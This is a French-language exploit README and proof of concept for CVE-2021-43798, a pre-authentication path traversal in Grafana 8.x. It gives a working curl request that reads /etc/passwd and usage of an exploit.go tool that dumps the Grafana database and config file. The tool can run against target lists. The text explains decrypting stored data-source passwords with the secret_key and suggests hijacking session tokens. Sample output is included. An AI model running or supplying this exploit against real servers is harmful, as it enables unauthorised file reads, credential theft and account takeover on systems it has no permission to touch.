
CVE-2021-43798 - Grafana 8.x Traversée de chemin (Pré-authentification)
Grafana 8.x Path Traversal (Pré-auth)
Tout le crédit revient à j0v et à son tweet https://twitter.com/j0v0x0/status/1466845212626542607
Ceci est uniquement à des fins éducatives. Je ne suis pas responsable de vos actions. Utilisez-le à vos propres risques.
De bonne foi, j'ai retenu la publication de ce PoC jusqu'à ce que cette vulnérabilité soit publique ou qu'un correctif soit disponible.
J'ai remarqué un tweet de j0v affirmant avoir trouvé un bug de traversée de chemin dans Grafana. Par curiosité, j'ai commencé à examiner le code source de Grafana. Dans le tweet, il était mentionné qu'il s'agissait d'un bug de pré-authentification. Il n'y a que quelques points de terminaison d'API publics dans Grafana, et un seul d'entre eux acceptait un chemin de fichier de l'utilisateur.
Grafana dispose d'un point de terminaison d'API public, /public/plugins/:pluginId, qui permet de consulter les ressources d'un plugin. Cela fonctionne en fournissant un :pluginId valide puis en spécifiant le chemin du fichier, comme img/logo.png. Cependant, Grafana ne parvient pas à assainir le chemin de fichier fourni par l'utilisateur, ce qui entraîne une traversée de chemin.
Le répertoire accédé se trouve à <grafana>/public/app/plugins/panel/<pluginId>. Sur une installation standard de Grafana, le répertoire de données de Grafana est /usr/share/grafana. Ainsi, en remontant de 8 répertoires, vous pouvez atteindre le répertoire racine du système de fichiers.
Requête HTTP :
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Code en cause : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Remarque : cela ne fonctionne pas dans le navigateur (qui réduit automatiquement les ../ dans le chemin)
Cela peut être testé avec curl en utilisant l'argument --path-as-is :
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Voici quelques attaques qui peuvent être menées à l'aide de cette vulnérabilité
Par défaut, Grafana utilise une base de données sqlite3. Celle-ci est stockée dans /var/lib/grafana/grafana.db. Vous pouvez utiliser le script exploit.go pour extraire cette base de données.
Exemple :
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
Vous pouvez ensuite lire cette base de données pour obtenir les utilisateurs, les jetons d'authentification et les sources de données.
Grafana stocke sa configuration dans un fichier <grafana>/conf/defaults.ini. Il y a quelques valeurs intéressantes ici, comme secret_key, host, user, password si vous utilisez mysql au lieu de sqlite3.
Exemple :
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Référence : https://grafana.com/docs/grafana/latest/administration/configuration/
Grafana chiffre tous les mots de passe des sources de données en utilisant AES-256-CBC et la secret_key du fichier de configuration defaults.ini. Nous pouvons extraire ce fichier de configuration, comme indiqué ci-dessus, puis déchiffrer les valeurs de la base de données.
Référence : https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key
Grafana stocke les jetons de session dans la table auth_tokens. Je n'ai pas réussi à prendre le contrôle d'une session, mais si vous lisez le code source, vous pourriez comprendre comment faire.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
Remarque : ne fonctionne pas avec plusieurs cibles
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build